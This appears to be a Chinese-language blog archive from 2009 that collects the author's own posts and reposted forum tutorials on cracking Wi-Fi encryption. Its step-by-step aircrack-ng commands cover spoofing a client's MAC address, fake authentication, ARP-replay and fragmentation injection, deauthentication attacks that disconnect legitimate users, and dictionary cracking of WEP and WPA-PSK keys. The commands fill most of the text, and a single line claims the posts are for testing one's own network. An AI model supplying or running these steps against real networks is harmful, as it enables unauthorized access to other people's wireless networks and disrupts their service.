2009年10月31日 星期六

改變mac

有些AP會鎖mac,這時在進行攻擊時,會導致失敗。故得更變自己底mac為client mac。
改變mac的方式,一般是用 macchanger這個指令。
1.先卸載網卡。有以下幾種方式
a.ifconfig wlan0 down
b.ifdown wlan0

2.改mac
a.macchanger -m [ClientMac] wlan0
b.ifconfig -a wlan0 hd [ClientMac]

3.裝載網卡
a.ifconfig wlan0 up
b.ifup wlan0
------------------------------------
若系統指明 Can't change MAC: interface up or not permission: Device or resource busy
則試試:
1.ifconfig wlan0 down hw ether [ClientMac]
2.ifconfig wlan0 up

2009年10月30日 星期五

wep實戰教程-有client的破解法 (1-5-2攻擊模式)

以下請以root身分進行.

一,開第一個terminal (瞭解目前網路環境)
1.執行ifconfig -a
a.可看到自己的網卡為wan0

2.用minidwep查看目前網路
a.執行了minidwep就自己會進入監控模式,故不必再執行airmon-ng了.這時的監控序號為mon0.
(若再執行一次minidwep,則監控序號會加一,為mon1)
b.scan完之後,可以看到自己的mac,再找其它的ap,最好是找有client的,編碼是wep,wpa則不適用

二,開第二個terminal (監控特定AccessPoint流量)
1.執行airodump-ng --ivs --essid [APmac] --channel [CHno] -w [filename] mon0
a.開始抓取第0監控序號(mon0),第[CHno]頻道,服務id為[APmac]的ivs包,寫入檔案[filename]
b.AP所屬的頻道號碼(CHno)可在第一個terminal找到,filename自訂即可

三,開第三個terminal (進行攻擊-attack)
1.export MAC=[自己的網卡] (請去第一個terminal複製,來此貼上)
2.export AP=[APmac] (請去第一個terminal複製,來此貼上)
-----------------------
3.aireplay-ng -1 0 -e [APname] -a $AP -h $MAC mon0
a.採取第一號攻擊.
b.若成功,會出現"association successful :-)"
-----------------------
4.aireplay-ng -5 -b $AP -h $MAC mon0
a.採取第五號攻擊
b.畫面出現:use this package? y
c.等待一會,若成功,會產生一個fragment-xxxx-xxxxxx.xor檔.
d.若不成,則會繼續讀取資料,再問use this package? 多試幾次,直到成功為止. 若太久都不成功,則可能client已下線了.此法就宣告失敗.
-----------------------
5.packetforge-ng -0 -a $AP -h $MAC -k 255.255.255.255 -l 255.255.255.255 -y fragment-xxxx-xxxxxx.xor -w [ARPfilename]
a.利用xor檔產生arp檔.arp檔名[ARPfilename]請自訂.
b.若成功,顯示:wrote packet to: [ARPfilename]
-----------------------
6.aireplay-ng -2 -r [ARPfilename] -x 1024 mon0
a.採取第二號攻擊
b.use this packet? y
c.這時可查看第二個terminal,Data數會迅速增加. 當data達20000以上時,可嘗試進入下面的破解程序.

四,開第四個terminal (進行破解-crack)
1.執行aircrack-ng -n 64 -b [APmac] *.ivs
a.[APmac]請從第一個terminal複製
b.找出金鑰了,會顯示: key found [xx:xx:xx:xx:xx]
c.若沒找到,等第二個terminal中的data值大一些,再行破解看看.
d.實際用法,是將xx:xx:xx:xx:xx去掉冒號,改成xxxxxxxxxx即可

五,此文僅提供對自己的網路安全進行檢測之用,要懂得如何破解自己的密碼,才算是真地知道如何防範自己的密碼被破.

2009年10月28日 星期三

[WEP破解] 手动破解命令[轉貼]

出自:http://www.anywlan.com/bbs/thread-32757-1-1.html

[WEP破解] 手动破解命令!
ifconfig -a
ifconfig -a wifi0 up
airmon-ng start wifi0 6
airodump-ng --ivs -w 007 -c 6 ath1

aireplay-ng -1 0 -e TP-LINK -a 001122334455 -h 223377889900 ath1
----------- -2 Crack Mode-----------
aireplay-ng -2 -p 0841 -c ffffffffffff -b 001122334455 -h 223377889900 ath1
----------- -3 Crack Mode-----------
aireplay-ng -3 -b 001122334455 -h 223377889900 ath1
----------- -4 Crack Mode-----------
aireplay-ng -4 -b 001122334455 -h 223377889900 ath1
packetforge-ng -0 -a 001122334455 -h 223377889900 -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp
aireplay-ng -2 -r MyArp -x 256 ath1
----------- -5 Crack Mode-----------
aireplay-ng -5 -b 001122334455 -h 223377889900 ath1
packetforge-ng -0 -a 001122334455 -h 223377889900 -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp
aireplay-ng -2 -r MyArp -x 256 ath1
-----------Crack Key-----------
aircrack-ng -n 64 -b 001122334455 007-01.ivs

2009年10月24日 星期六

spoonwep2的bug及解决方案(兼论Atheros芯片的问题)[轉貼]

出自:http://www.anywlan.com/bbs/viewthread.php?tid=16061&extra=page%3D1%26amp%3Bfilter%3Ddigest

点击Launch按钮破解开始后,有时会出现进程显示框中一直在向上翻ASSOCIATING,速度很快,另外一个监测窗口也有DATA在跑,但始终未显示捕获到IVS,这样的状况会一直持续下去,即使捕获1个小时也不会出现一个IVS!既然没有ivs,那么破解自然就不会成功!

但此时点击Abort停止破解过程,不必做任何其他操作,紧接着再次点击Launch按钮,奇迹出现了,ivs来了!!进程窗口不再狂翻ASSOCIATING,开始按照正常步骤进行注入,破解很快成功。

无论采取哪种注入方式都会在特定情况下出现以上现象,用先退出马上再开始的解决方案几乎是100%奏效!

什么情况下会出现这个现象呢?这里有必要谈谈Atheros芯片的问题。
使用Atheros芯片的朋友都知道,启动网卡使用的是ifconfig wifi0 up这个命令,监听用的是airmon-ng start wifi0这个命令,但实际处于监听状态的并不是wifi0,而是ath1,如果再运行一遍airmon-ng start wifi0,监听端口又会变成ath2,以此类推,但最多只到ath3,再重复此命令就出错了。

假如当前的监听端口是ath1,你在spoonwep2里面选择的也是ath1,那么大多数情况下不会出现associating狂翻却无法捕获IVS的情况;但当你选择了wifi0、ath0等非当前监听端口时,破解时associating狂翻却无法捕获ivs的现象十有八九会出现。

当然,运行spoonwep2前其实是不需要进行网卡的启动和监听的操作命令的,spoonwep2会自动完成这些操作,我做了以下的试验:用光盘启动 BT3后,不做任何其他操作,直接打开shell并输入spoonwep,启动spoonwep2,DRVIER处选择Atheros,而Net card里面有三个选项:wifi0、ath0和eth0,无论你选择wifi0还是ath0,破解时几乎都会出现associating狂翻的情况,点击退出再开始即可正常开始注入破解!

另外,关闭spoonwep2会自动将当前的监听端口也关闭,比如你用ath1破解完成后,关闭spoonwep2,输入airmon-ng查看,发现 ath1端口没有了,只剩下wifi0和ath0。因此此时再次打开spoonwep2进行破解的时候,出现associating狂翻的几率很大!
说了这么多,总结起来其实很简单:对于Atheros芯片来讲,无论你选择wifi0、ath0、ath1还是ath1端口进行破解,假如出现associating狂翻却无法捕获到ivs的现象时,先按Abort停止马上再按Launch开始,即可正常捕获IVS,直到破解成功!

============================================
其实spoonwep2还有一个问题,这个估计是大多人都已知的问题,那就是在搜索信号的时候在shell窗口会出现错误提示,但这个提示并不影响破解的过程。

BT4下的WEP和WPA加密破解[轉貼]

源自:http://www.anywlan.com/bbs/thread-12959-1-1.html

①、WEP加密破解的原理是:使目标AP不断发送广播包,当AP广播时截获IVS数据,我们就是利用这个数据来算出密码。

②、WPA加密破解的原理是:必须在合法客户端在线的情况下主动攻击合法客户端使其掉线,合法客户端掉线后再与AP重新握手即可抓到包含握手信息的数据包,再用密码字典进行暴力破解。

SpoonWep,bt3下的GUI,傻瓜式破解WEP密码方法[轉貼]

摘自:http://www.anywlan.com/bbs/viewthread.php?tid=11047

1.查看所要攻击的AP的BSSID与频道

新建一个SHELL 键入

airodump-ng -w 123 eth1

记录下AP的BSSID和频道

123为保存的文件名这里不重要,eth1为自己网卡的端口自己可以用ifconfig查看

2.打开spoonwep

新建一个shell,键入spoonwep

一会spoonwep的GUI就会弹出来



3.开始破解

在Victim MAC 后输入要破解的AP的BSSID

下面的CLIENT可不写

选择好频道

在net card 里选好自己网卡的端口

在lunch后选择好需要的攻击模式

第一个就是 我们平时输入指令的-3攻击

第二个则是我们平时用的-2

第三个是-4

第四个是-5攻击

和平时破解一样,先前如果没有客户端的话可以选择-2

其他的几项攻击随意

全部设定好以后按LAUNCH...

接下来你就好去看电视了,因为接下来是全自动的

(需要一提的是,这里的第四个选项可能就是-5攻击可能有点小问题,因为我用的时候并没有马上发包,因此自己新建了一个shell 人为的进行了一次-1攻击,这样他就立刻发包了..)

BackTrack2下破解无线WPA-PSK加密实战[轉貼]

轉自:http://www.anywlan.com/bbs/viewthread.php?tid=6620

ifconfig -a 察看当前网卡 这里我就使用USB网卡为例,可以看到有一个名为rausb0的网卡,状态是未载入

可以使用如Kismet、Airosnort等工具来扫描当前无线网络的AP,若使用Kismet的话,可以看到该软件很清晰地给出AP频道、流量及加密状况,这里就不再抓图了。 然后,我们需要将网卡激活成monitor模式,才可以进行后续的破解,命令如下:
airmon-ng start rausb0

然后输入下列命令开始嗅探并抓包 airodump-ng -w ciw.cap --channel 6 rausb0 ,这里ciw.cap就是我设置的抓包文件名

为了便于WPA握手验证包的获取,必须进行Deauth验证攻击,这个对于采用WPA验证的AP攻击都会用到,可以迫使AP重新与客户端进行握手验证,从而使得截获成为可能。命令如下 aireplay-ng -0 10 -a AP's MAC rausb0 或者 aireplay-ng -0 10 -a AP's MAC -h Client's MAC rausb0 解释一下:-0指的是采取Deautenticate攻击方式,后面为发送次数,-a后面跟上要入侵的AP的MAC地址,-h建议还是使用,效果会更好,这个后面跟的是监测到的客户端MAC地址,如上图中显示的,最后是指定USB无线网卡

这里注意,Deauth攻击往往并不是一次攻击就成功,为确保成功截获需要反复进行,需要说明的是,攻击期间很可能会导致该AP的其它无线客户端无法正常上网即断网频繁,而且对于一些低端AP严重会导致其无线功能假死,无法ping通,需重起

哈哈 下来,建立破解WPA-PSK所需的字典,...的工具有很多,这里鉴于篇幅不再深究,大家可自行建立。呵呵,输入:zcat /pentest/password/dictionaries/wordlist.txt.Z > password.txt 接下来,将字典cp回当前目录下,就可以同步开启aircrack-ng来进行同步破解了,命令如下:

aircrack-ng -w password.txt ciw.cap这里-w是字典破解模式,password.txt就是刚才建立的字典,后面是我们即时保存的那个捕获到WPA验证的抓包文件,回车后等待就可破开

破解时间取决于密码难易程度,字典包含程度,内存及CPU等,一般来说,破解WEP加密的时间最快可在1分钟左右,但破解WPA-PSK除非字典确实很对应,最快的1分钟内即可,但绝大多数情况下都是要花少则20分钟,多则数小时。如上图就花费了40分钟,毕竟,不是所有人都使用类似test、admin123之类密码的。 除了AirCrack-ng,这里也可以使用Cowpatty进行WPA-PSK的破解,如下: 使用Ethereal,WireShark之类嗅探工具打开之前抓取的包含WPA握手的cap文件,使用eapol进行过滤,可看到抓取的Key数据

然后就可使用Cowpatty配合字典进行破解了,具体参数如下: cowpatty -f passd.txt -r wpa.cap -s AP’sSSID -v 解释一下:这里-f是字典破解模式,passd.txt为字典,-r后面是刚另存的WPA验证的抓包文件,-s后面跟的是监测到AP的ESSID,最后-v是显示详细过程

Ubuntu下无客户端无线WEP加密破解实战讲解[轉貼]

原文出處:http://www.anywlan.com/bbs/viewthread.php?tid=6706&highlight=Ubuntu%CF%C2%CE%DE%BF%CD%BB%A7%B6%CBWEP%BC%D3%C3%DC%C6%C6%BD%E2%CA%B5%D5%BD

ifconfig -a
察看当前网卡
这里我就使用USB网卡为例,可以看到有一个名为rausb0的网卡,状态是未载入,这里先不要载入,先将MAC地址修改成需伪造的任意MAC地址,
输入macchanger –m 00:11:22:33:44:55 rausb0
-m后跟要伪造的MAC,之后再跟要修改的网卡名即可,这里我们将该USB网卡MAC修改成00:11:22:33:44:55

然后再载入网卡,输入:
ifconfig -a rausb0 up来载入USB网卡驱动

我们可以使用如Kismet、Airosnort等工具来扫描当前无线网络的AP,

然后,我们需要将网卡激活成monitor模式,才可以进行后续的破解,命令如下:
airmon-ng start rausb0 3,这里这个3就是我们发现的AP的频道,然后输入下列命令开始抓包
airodump-ng -w test.cap --channel 3 rausb0

下来,就可以进行FakeAuth攻击,这种攻击就是专门在预攻击无线接入点AP没有客户端活动甚至不存在Client的情况下使用的。具体命令如下:
aireplay-ng -1 1 -e AP’s ESSID -a AP’s MAC -h FakeMAC rausb0

这里-1指的就是采用FakeAuth攻击模式,后面跟延迟;-e后面跟AP的ESSID,-a后面设置AP的MAC,-h后面则是前面伪造的MAC,最后是无线网卡

与此同时,为了IVs(初始化向量)的获取,必须进行ArpRequest注入式攻击,这个很重要,可以有效提高抓包数量及破解速度,命令如下

aireplay-ng -3 -b AP's MAC -h Client's MAC -x 1024 rausb0

-3指的是采取ArpRequest注入攻击方式,-b后面跟上要入侵的AP的MAC地址,-h后面跟的是监测到的客户端MAC地址,这里我们使用刚才伪造的客户端MAC,至于-x 1024指的是定义每秒发送数据包数量,这个值可以小一些,但最高1024就可以了,这里我使用默认,最后是指定USB无线网卡

可以看到,ARPrequest注入攻击非常有效,可结合上图airodump的内容一起察看,会发现数据包的数量递增加快。接下来,就可以同步开启aircrack-ng来进行同步破解了,命令如下:

aircrack-ng -x -f 2 test-01.cap

这里-x是暴力破解模式,-f指的是启用密码复杂度为2 ,后面是我们即时保存的那个抓包文件

atheros 无线网卡破无客户端WEP加密全解[轉貼]

原文出處:http://www.anywlan.com/bbs/viewthread.php?tid=6791&highlight=atheros%2B%CE%DE%CF%DF%CD%F8%BF%A8%C6%C6%CE%DE%BF%CD%BB%A7%B6%CBWEP%BC%D3%C3%DC%C8%AB%BD%E2

Monitor Mode

The first thing to do is boot up backtrack, basically by booting to a CD like you normally would, if you can't figure this out, ask down below, or go use google. login to backtrack under root (password 'toor'), and then type "startx" into the command line to start out GUI.

Sweet, now we are running *nix, and we can start the good stuff. Open up a command line, but clicking on the icon that looks like one on the bottom next to the 'start' type thingy (let me know if I get to technical Smile )

Now, we need to enter this into the command line;

Code:
$ airmon-ng start wifi0 6

**starts wifi0 on channel 6, change for the channel of the network you are attacking, use kismet for this, not covered in this tutorial**

$ wlanconfig ath0 destroy
$ ifconfig ath1 up
$ iwconfig ath1 mode monitor 6


Sweet, now we have our card in monitor mode, and we can move onto bigger and better things.

Start up Airodump and getting some info ready

ok, lets start airodump so we can get some info out of it, and then we can just leave it running.

Code:
$ airodump-ng --ivs --write bob --channel 6 ath1

**basically heres what each thing means;
--ivs= only write the weak IV's, not every packet
--write= the prefix of the file we are writing to, so bob.ivs
--channel= the channel to scan on
ath1= our network device**


Now that airodump is running, we need to snag a couple pieces of information from it, 1) The MAC address of the AP we are attacking, it'll be in the first column. 2) the essid of the network, i.e. "linksys", or something similar.

Now, open up a new terminal (DON"T CLOSE AIRODUMP). type this line in;

Code:
$ export AP=mac_of_ap


Now we also have to get our mac address; this is easy in backtrack just type in the following;

Code:
$ macchanger --show ath1
**your output here**
export MAC=your_mac_address


This basically just stored those as variables, so you don't have to type them a bunch of times in the coming steps.

Getting everything ready

Basically what we are going to do to the network, is fake authorize ourselves using aireplay. Then using the same program, we are going to grab some peices of packets out of the replies given by fakeauth, and use those to create an arp reply packet with packetforge, to inject into the network to create IV's, so we can crack the key! Whew, lets get started!

First we need to set up, but NOT run our fake auth attack;

Code:
$ aireplay-ng -1 0 -e linksys -a $AP -h $MAC ath1


so, we are running aireplay attack 1, with no delay, linksys is the essid of the network we are attacking, -a is the MAC of the AP we are attacking, and -h is our MAC address. Don't run this yet, we will soon enough.

Open up another command line, so we can get ready to sniff out the packets we need. Enter the following;

Code:
$ aireplay-ng -5 -b $AP -h $MAC


Cool, step 1 of 2 is done for getting ready to create IV's, next we have to sniff a packet, and then create one of our own. So run the aireplay -5 command first, it will start to sniff the network, then run the first command. Eventually the -5 will find a packet that it can use, and it will ask you if you want to use it, say yes (type y and press enter). Now you can cancel the first command (stop it from fake auth'ing over and over) by pressing ctrl-c. Leave the window open.

Now, after we told aireplay-ng -5 yes, it should have created a .xor file. In the output, the name of it should be there. The line looks like this;

Code:
Saving Keystream in fragment-0215-124336.xor

**yours will be different**


Now, using this .xor file we can create an arp-reply package which we can inject to create weak IV's. So in the same window we ran the aireplay-ng -5 command, type in the following;

Code:
$ packetforge-ng -0 -a $AP -h $MAC -k 255.255.255.255 -l 255.255.255.255 -y your_.xor_file.xor -w arp-request


That will generate what we need, now we can run the final injection command that will inject the arp-request packets. Enter the following;

Code:
aireplay-ng -2 -r arp-request ath1

*you will have to say yes again btw*


Now you get to watch your #data column in airodump (you didn't close it did you?) skyrocket! Wait a few minutes, and when you have 100k packets (the #data column, 1 mil for 128 bit) run the following command to crack the key!

Code:
$ aircrack-ng -n 64 -b $AP *.ivs

**note, if its 128 bit, change 64 to 128**


There ya go! You have cracked WEP when there are no clients on the network!

BT3下破解共享密钥认证的WEP密码[轉貼]

原文出處:http://www.anywlan.com/bbs/viewthread.php?tid=8368&highlight=BT3%CF%C2%C6%C6%BD%E2%B9%B2%CF%ED%C3%DC%D4%BF%C8%CF%D6%A4%B5%C4WEP%C3%DC%C2%EB

ifconfig –a

ifconfig –a wifi1 down

macchanger –m 00:1a:73:c5:31:e0 wifi1

这个命令中攻击用无线网卡的MAC必须用冒号隔开,这个命令以后对MAC的操作就不需要再用冒号隔开了,直接输数字和字母就可以了(十六进制)。

其中需要注意的就是这个伪装的MAC必须与AP的无线客户端相同,要不然很难成功,至少我是这样的。

ifconfig –a wifi1 up(加载攻击用无线网卡)

airmon-ng start wifi1 13

上面的13代表的是无线AP所工作的频道,2.4G WIFI用频率的最高频道为14频道。

准备工作完毕以后我们就可以开始了。

首先我们先开始收集ivs包。

相应的命令为:

airodump-ng – –ivs –w check – –bssid 00131004e526 –c 13 ath2

--ivs 表示只收集ivs包,

-w 后面表示收集ivs包所生成的文件名,但最后往往会在文件名后加上-01、-02等等,

--bssid 表示AP的MAC,这样做的好处就是只收集与这个MAC相对应的AP的ivs包,

-c 后面跟的AP的频道数。

这一步做完我们就可以开始正式的攻击了。

相应的攻击命令为:

aireplay-ng -0 1 –a 00131004e526 –c 001a73c5-31e0 ath2

-0 表示对无线客户端进行认证攻击,使无线客户端断线重连,以获得握手包。

1
表示攻击的次数,一般顺利的话1次就够了,不顺利的话攻击无数次都不成功,建议大家在纯的BT3下进行,VM下很难获得,我在VM做了N次,用WUSB54G V4只获得过一次握手包。

-a 后面跟的是AP的MAC,

-c 后面跟的所要攻击的无线客户端的MAC,记住这个参数一定是要-c,不能是-h哦。


攻击成功后会在airodump-ng的窗口的右上角出现捕获握手包的提示,它所保存的文件是以AP的MAC命名的XOR文件,注意与后面构建ARP包所必须的XOR文件相区别。

然后就是进行虚假认证攻击,相应的命令为:

aireplay-ng -1 0 –e LINKSYS –a 00131004e526 –y check-01-00-13-10-04-e5-26.xor ath2

-1 表示虚假认证攻击,

0 表示攻击延时,

-e 表示AP的ESSID,

-a 表示AP的MAC,

-y 表示捕获的握手包所生成的文件名。

看图中提示好像攻击只成功了一半,challenge是失败的,但是依然可以构建arp包,并成功进行注入攻击破解WEP密码。而且攻击会不断进行,我是用Ctrl+c来停止的。

然后就要开始进行-5攻击了,相应的命令为:

Aireplay-ng -5 –b 00131004e526 –h 001a73c531e0 ath2

出现“ Use this packet?”提示后输入“y”并回车。出现下面的画面就表示成功获得了构建arp包所必须的xor文件

获得xor文件以后我们就可以构建arp包了,相应的命令为:

packetforge-ng -0 –a 00131004e526 –h 001a73c531e0 –k 255.255.255.255 –l 255.255.255.255 –y fragment-0215-195944.xor –w arp

-l 是大写字母L的小写,不是1哦,

-y 后面跟的是构建arp包所必须的xor文件,

-w 后面跟的是构建的arp包所生成的文件名。


这一步以后我们就可以进行让DATA猛涨的注入式攻击了,相应的命令为:

aireplay-ng -2 –r arp –x 1024 ath2

-2 就是注入式攻击

-r 后面跟的是arp包文件名,

-x 定义所发送的攻击包的大小,最大为1024,默认为512,以大家可以稳定发送攻击包的大小为准,根据无线网卡的不同而不同。


大家可以看到一分钟的时间DATA数就从2万多增长到6万多了。

其实只要DATA数到大概5万的时候就可以开启实时破解了,相应的命令为:

aircrack-ng -n 128 *.ivs